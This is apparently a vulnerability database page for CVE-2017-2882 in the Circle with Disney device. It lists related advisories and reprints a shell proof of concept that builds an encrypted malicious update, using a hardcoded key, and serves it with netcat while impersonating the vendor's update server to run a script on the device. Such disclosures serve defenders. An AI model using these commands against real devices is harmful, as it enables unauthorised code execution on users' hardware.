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Circle with Disney check_circleservers Code Execution Vulnerability(CVE-2017-2882)
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | Circle with Disney Remote Code Execution Vulnerability | 2 Nov 201700:00 | – | cnvd |
 | CVE-2017-2882 | 7 Nov 201716:00 | – | cve |
 | CVE-2017-2882 | 7 Nov 201716:00 | – | cvelist |
 | EUVD-2017-12023 | 7 Oct 202500:30 | – | euvd |
 | CVE-2017-2882 | 7 Nov 201716:29 | – | nvd |
 | Design/Logic Flaw | 7 Nov 201716:29 | – | prion |
 | Circle with Disney check_circleservers Code Execution Vulnerability | 31 Oct 201700:00 | – | talos |
 | Vulnerability Spotlight: The Circle of a Bug’s Life | 31 Oct 201712:04 | – | talosblog |
The following proof of concept shows how to execute the "power_down.sh" script on the device. An attacker needs to impersonate the server "download.meetcircle.co" in order to answer to the HTTP requests.
$ echo "/mnt/shares/usr/bin/scripts/circle/power_down.sh" > aescrypt
$ chmod 777 aescrypt
$ tar czf evil.tgz aescrypt
$ aescrypt -e -p a801e2f7bd4104073a296dc5c63857cf -o evil.bin evil.tgz
$ ( echo -en "HTTP/1.0 200 OK\nContent-Length: $(stat -c%s evil.bin)\n\n"; cat evil.bin ) | sudo nc -vv -l -p 80
$ ( echo -en "HTTP/1.0 200 OK\nContent-Length: 1\n\nX" ) | sudo nc -vv -l -p 80
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08 Nov 2017 00:00Current
8.6High risk
Vulners AI Score8.6
EPSS0.01196